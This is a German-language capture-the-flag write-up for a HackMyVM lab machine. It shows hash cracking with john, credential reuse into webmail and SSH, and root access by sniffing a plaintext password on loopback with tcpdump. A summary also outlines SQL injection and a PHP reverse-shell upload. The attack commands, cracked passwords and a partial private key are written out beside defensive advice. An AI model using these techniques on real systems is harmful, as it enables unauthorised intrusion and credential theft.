+-------------------------+-----------------------------------------------------------------------------------------------------------+------------+----------+---------------+---------------+----------------------+-------------+----------------------------------------------+-------+--------------+-----------+------------+--------+------------+---------+---------------+------------+-------------------+------------+-------------------+---------------+------------+-------------------+---------------+---------------+-----------+-------------------+--------------------------+-------------+--------------------+----------------+----------------+---------------+-------------------+--------------------+----------------------+------------+-------------+------------+-------------------+--------------------+----------------------+------------+------------+----------+---------------------+---------------------+---------------------+---------------------+--------+
| postmaster@messages.hmv | {SSHA512}r8xmJtgYpBLiI4SghgF6niJFEJrZujFlgx9ISHD7vqgtCg7U9wTulPqxBgkPKcqWwPMReJ2l9zdpYh/uXT6WjFElA=     | postmaster |          | maildir       | Maildir       | /var/vmail           | vmail1      | messages.hmv/p/o/s/postmaster/               |  1024 | messages.hmv | ...
| root@messages.hmv       | {SSHA512}hhZ4uS8n44dromQhH3DxyaJDDBeYc6Ey8Q+DcdXmb0dhL7mT2sRMTH5ipPULXVdgoMTelRVVQ2Ab8ZEJMgdFA/4L+stgDz9 | Root       | en_US    | maildir       | Maildir       | /var/vmail           | vmail1      | messages.hmv/r/o/o/root-2022.01.26.20.35.21/ |   100 | messages.hmv | ...
| ruby@messages.hmv       | {SSHA512}dFxa19dkflt/1bQFQszaUTFjjK4SjDMIw9ZWKEZbZ+E6o2rxTvqaG+3EsKZcHXnnfVoVNNyVtlHH/Vx8+XS+mBLGCMA | Ruby       | en_US    | maildir       | Maildir       | /var/vmail           | vmail1      | messages.hmv/r/u/b/ruby-2022.01.26.20.34.10/ |   100 | messages.hmv | ...
+-------------------------+-----------------------------------------------------------------------------------------------------------+------------+----------+---------------+---------------+----------------------+-------------+----------------------------------------------+-------+--------------+-----------+------------+--------+------------+---------+---------------+------------+-------------------+------------+-------------------+---------------+------------+-------------------+---------------+---------------+-----------+-------------------+--------------------------+-------------+--------------------+----------------+----------------+---------------+-------------------+--------------------+----------------------+------------+-------------+------------+-------------------+--------------------+----------------------+------------+------------+----------+---------------------+---------------------+---------------------+---------------------+--------+

Bewertung: In der `mailbox`-Tabelle der `vmail`-Datenbank werden die Benutzer für das Webmail-System gefunden, darunter `ruby@messages.hmv`. Wichtig ist der dazugehörige Passwort-Hash im SSHA512-Format (`{SSHA512}dFxa...`).

Analyse Fortsetzung:** Die SSHA512-Hashes für `postmaster`, `root` und `ruby` werden extrahiert und in einer Datei (`passfile.txt`) gespeichert, um sie mit `john` zu knacken.

┌──(root㉿cyber)-[~] └─# vi passfile.txt
{SSHA512}r8xmJtgYpBLiI4SghgF6niJFEJrZujFlgx9ISHD7vqgtCg7U9wTulPqxBgkPKcqWwPMReJ2l9zdpYh/uXT6WjFElA=
{SSHA512}hhZ4uS8n44dromQhH3DxyaJDDBeYc6Ey8Q+DcdXmb0dhL7mT2sRMTH5ipPULXVdgoMTelRVVQ2Ab8ZEJMgdFA/4L+stgDz9
{SSHA512}dFxa19dkflt/1bQFQszaUTFjjK4SjDMIw9ZWKEZbZ+E6o2rxTvqaG+3EsKZcHXnnfVoVNNyVtlHH/Vx8+XS+mBLGCMA
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt passfile.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (SSHA512, LDAP [SHA512 256/256 AVX2 4x])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ruby.r123        (?) <-- Hash für ruby@messages.hmv geknackt
1g 0:00:00:02 DONE (2022-11-10 00:57) 0.4926g/s 7065Kp/s 19410Kc/s 19410KC/s 0100132883..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Bewertung: `john` knackt erfolgreich den Hash für den Benutzer `ruby@messages.hmv`. Das Passwort lautet `Ruby.r123`. Gemäß der Notizdatei (`notes`) sollte dies auch das SSH-Passwort für den Benutzer `ruby` sein.

Empfehlung (Pentester):** Versuchen Sie, sich per SSH als Benutzer `ruby` mit dem Passwort `Ruby.r123` anzumelden. Alternativ loggen Sie sich ins Webmail ein, um nach weiteren Informationen zu suchen (wie im nächsten Schritt gezeigt).
Empfehlung (Admin):** Verwenden Sie keine einfachen oder ableitbaren Passwörter. Erzwingen Sie Passwortkomplexität. Schulen Sie Benutzer darin, keine Passwörter wiederzuverwenden (insbesondere nicht Shell-Passwort = Webmail-Passwort). Überwachen Sie Brute-Force-Versuche auf Mail- und SSH-Dienste.

Lateral Movement (SSH as Ruby)

Analyse: Es wird sich mit den geknackten Credentials (`ruby@messages.hmv`:`Ruby.r123`) beim Webmail-Interface (`https://192.168.2.110/mail/` oder `https://messages.hmv/mail/`) angemeldet.

[Kein Prompt - Login im Browser]
URL: https://192.168.2.110/mail/
Login: ruby@messages.hmv
Password: Ruby.r123

Analyse Fortsetzung:** Im Posteingang wird eine fehlgeschlagene E-Mail ("Undelivered Mail Returned to Sender") gefunden. Der Anhang oder Inhalt dieser E-Mail enthält einen privaten SSH-Schlüssel.

[Kein Prompt - Inhalt der E-Mail im Webmail]
...
Subject: my details
From: ruby@messages.hmv
To: ruby@anotherserver.hmv
Date: 2022-01-26 21:53

Ruby.r123 <-- Passwort im Klartext in der Mail!

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEApwxfaF+jj7Ie8kP3Kl29G5PQ7fEuajPpxp3wFqaxIBNDj4xQShW
... (SSH Key gekürzt) ...
0AAAdISRMm7kkTJu4AAAAHc3NoLXJzYQAAAgEApwxfaF+jj7Ie8kP3Kl29G5PQ7fEuajP
... (SSH Key gekürzt) ...
dxndyc7ZgSkAAAANcnVieUBtZXNzYWdlcwECAwQFBg
-----END OPENSSH PRIVATE KEY-----

Bewertung: Ein kritischer Fund! Die E-Mail enthält nicht nur erneut das Passwort im Klartext, sondern auch einen privaten SSH-Schlüssel, der wahrscheinlich für den Benutzer `ruby` auf dem System gültig ist. Dies ermöglicht einen direkten SSH-Zugang.

Analyse Fortsetzung:** Der private SSH-Schlüssel wird extrahiert, in einer lokalen Datei (`sshkey`) gespeichert und die Berechtigungen werden auf `600` gesetzt.

┌──(root㉿cyber)-[~] └─# vi sshkey
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
...
-----END OPENSSH PRIVATE KEY-----
┌──(root㉿cyber)-[~] └─# chmod 600 sshkey

Analyse Fortsetzung:** Mit dem extrahierten Schlüssel wird versucht, sich per SSH als `ruby` anzumelden.

┌──(root㉿cyber)-[~] └─# ssh ruby@messages.hmv -i sshkey
Linux messages 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 27 14:44:20 2022
ruby@messages:~$

Bewertung: Der SSH-Login mit dem gefundenen Schlüssel ist erfolgreich. Der Angreifer hat nun eine Shell als Benutzer `ruby`.

Empfehlung (Pentester):** Führen Sie Enumeration als Benutzer `ruby` durch. Suchen Sie nach `sudo`-Rechten (`sudo -l`), SUID/SGID-Dateien, Cronjobs, sensiblen Dateien im Home-Verzeichnis und anderen Vektoren zur Privilegieneskalation. Lesen Sie die User-Flag (`/home/ruby/userflag.txt`).
Empfehlung (Admin):** Speichern Sie niemals private Schlüssel oder Passwörter in E-Mails! Schulen Sie Benutzer im sicheren Umgang mit Schlüsseln und Passwörtern. Verwenden Sie passwortgeschützte SSH-Schlüssel. Überwachen Sie SSH-Logins.

Privilege Escalation (Password Sniffing)

Analyse: Als Benutzer `ruby` wird erneut das Webmail durchsucht. Es wird eine E-Mail von `root` gefunden, die ein Skript erwähnt, das Root-E-Mails prüft und auf dem Loopback-Interface (`127.0.0.1`) lauscht.

[Kein Prompt - Inhalt der E-Mail von root im Webmail]
Subject: PPP3 script
From: root@messages.hmv
Date: 2022-01-26 22:03

I have got that script working so it will check any e-mails sent to the root account.
Shouldnt need to worry about security as it uses 127.0.0.1 so nobody can intercept that.

Root.

Analyse Fortsetzung:** Basierend auf dieser Information wird `tcpdump` verwendet, um den Netzwerkverkehr auf dem Loopback-Interface (`lo`) zu überwachen. Der Filter `grep -a 'PASS'` wird verwendet, um gezielt nach Zeilen zu suchen, die das Wort "PASS" enthalten (wahrscheinlich im Zusammenhang mit einem Login-Versuch).

ruby@messages:~$ tcpdump -i lo -w - | grep -a 'PASS'
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
... Warten auf relevante Pakete ...
PASS Th1$isR3411yS3cuRe

Bewertung: Der Plan funktioniert! Nachdem eine Aktion ausgelöst wurde, bei der sich der `root`-Benutzer (oder ein Skript als `root`) über das Loopback-Interface authentifiziert (z.B. beim Abrufen von Mails), fängt `tcpdump` das Klartext-Passwort `Th1$isR3411yS3cuRe` ab. Dies war möglich, weil: 1. Ein Prozess als Root über Loopback kommuniziert und dabei das Passwort überträgt. 2. Der Benutzer `ruby` ausreichende Berechtigungen hat, um `tcpdump` auf dem Loopback-Interface auszuführen (dies ist oft der Fall für normale Benutzer).

Analyse Fortsetzung:** Mit dem abgefangenen Root-Passwort wird versucht, mittels `su root` zum Root-Benutzer zu wechseln.

ruby@messages:~$ su root
Password: [Passwort Th1$isR3411yS3cuRe eingegeben]
root@messages:/home/ruby#

Analyse Fortsetzung:** In der Root-Shell werden die Flags gelesen.

root@messages:/home/ruby# cat userflag.txt
HMV{user:messages.hmv:421c93e018}
root@messages:/home/ruby# cat /root/rootflag.txt
HMV{root:messages.hmv:5d3db63bba}

Bewertung: Die Privilegieneskalation war erfolgreich. Das Abfangen des Root-Passworts über `tcpdump` auf dem Loopback-Interface war der Schlüssel. Beide Flags wurden gefunden.

Empfehlung (Pentester):** Dies ist eine elegante Privilegieneskalations-Methode, die auf einer unsicheren Konfiguration basiert. Dokumentieren Sie den Prozess des Passwort-Sniffings.
Empfehlung (Admin):** Übertragen Sie niemals Passwörter im Klartext, auch nicht über das Loopback-Interface. Verwenden Sie sicherere Authentifizierungsmethoden (z.B. Unix Sockets mit Peer Credentials, Token-basierte Authentifizierung). Wenn Passwort-Authentifizierung über Loopback unvermeidbar ist, verschlüsseln Sie die Verbindung (z.B. mit TLS). Beschränken Sie die Berechtigungen von Benutzern, `tcpdump` auszuführen, falls möglich (obwohl dies oft schwierig ist). Ändern Sie das kompromittierte Root-Passwort.

Proof of Concept (POC)

Kurzbeschreibung: Dieser POC beschreibt die Kette von Schwachstellen, die zur Kompromittierung führte: Ausnutzung einer SQL-Injection zur Gewinnung von Admin-Zugangsdaten für einen Chatbot, Hochladen einer PHP-Shell über die Admin-Oberfläche (RCE), Auslesen von Datenbanken und Cracken von Benutzer-Passwörtern (Webmail), Fund eines SSH-Keys in einer E-Mail, SSH-Login als Benutzer 'ruby' und schließlich Privilegieneskalation durch Abhören des Root-Passworts auf dem Loopback-Interface mittels tcpdump.

POC Schritt 1: SQL Injection & Admin Access

Schwachstelle: SQL-Injection im Login-Parameter des Chatbots.

Schritte:

  1. SQL-Injection-Punkt identifizieren (`/chatbot/classes/Login.php?f=login`, POST Parameter `username`).
  2. Mit `sqlmap` die Datenbank `chatbot` und Tabelle `users` dumpen.
  3. MD5-Hash für `admin` knacken (Passwort: `admin123`).
  4. Login bei `/chatbot/admin/` mit `admin:admin123`.

Ergebnis: Administrativer Zugriff auf den Chatbot.

POC Schritt 2: Initial Access (RCE via File Upload)

Schwachstelle: Unsicherer Dateiupload im Chatbot-Adminpanel.

Schritte:

  1. PHP-Reverse-Shell (`rev.php`) als Profilbild hochladen.
  2. Pfad zur Shell ermitteln (`/chatbot/uploads/..._rev.php`).
  3. Listener starten (`nc -lvnp 9001`).
  4. Shell-URL aufrufen.

Ergebnis: Reverse Shell als `www-data`.

POC Schritt 3: Lateral Movement (SSH as Ruby)

Schwachstellen: Klartext-Passwörter/Hashes in DB, Klartext-Passwort und SSH-Key in E-Mail.

Schritte (aus www-data Shell):

  1. DB-Credentials für `chatbot` aus `initialize.php` lesen.
  2. MariaDB verbinden, `vmail`-DB untersuchen.
  3. SSHA512-Hash für `ruby@messages.hmv` aus `mailbox`-Tabelle extrahieren.
  4. Hash mit `john` knacken (Passwort: `Ruby.r123`).
  5. Bei Webmail (`/mail`) als `ruby` einloggen.
  6. Privaten SSH-Key aus E-Mail extrahieren.
  7. SSH-Login als `ruby` mit dem Key.

Ergebnis: Interaktive Shell als Benutzer `ruby`.

POC Schritt 4: Privilege Escalation (Password Sniffing)

Schwachstelle: Klartext-Passwortübertragung über Loopback-Interface durch Root-Prozess.

Voraussetzungen: Shell als Benutzer `ruby` (mit Rechten zum Ausführen von `tcpdump`).

Schritte:

  1. Loopback-Interface mit `tcpdump` überwachen: `tcpdump -i lo -w - | grep -a 'PASS'`.
  2. Aktion auslösen, die den Root-Login über Loopback triggert (z.B. Mail senden?).
  3. Root-Passwort (`Th1$isR3411yS3cuRe`) aus der `tcpdump`-Ausgabe ablesen.
  4. Zu Root wechseln: `su root` und das Passwort eingeben.

Ergebnis: Root-Shell.

Beweismittel: Ausführung von `id` zeigt `uid=0(root)`. Lesen von `/root/rootflag.txt` ist möglich.

Risikobewertung: Hoch. Mehrere Schwachstellen (SQLi, RCE, schwache Passwortspeicherung, Passwort/Key-Leak in E-Mails, Klartext-Passwortübertragung) ermöglichen eine schrittweise Kompromittierung von außen bis hin zu Root-Rechten.

Empfehlungen:** * **Admin:** SQLi beheben (Prepared Statements). Dateiuploads härten. Sichere Passwort-Hashes verwenden (bcrypt/Argon2). Sensible Daten (Keys, Passwörter) niemals in E-Mails speichern. Passwortübertragungen über Loopback absichern oder vermeiden. System und Dienste aktuell halten. * **Pentester:** Die Verkettung der Schwachstellen detailliert dokumentieren.

Flags

cat /home/ruby/userflag.txt
HMV{user:messages.hmv:421c93e018}
cat /root/rootflag.txt
HMV{root:messages.hmv:5d3db63bba}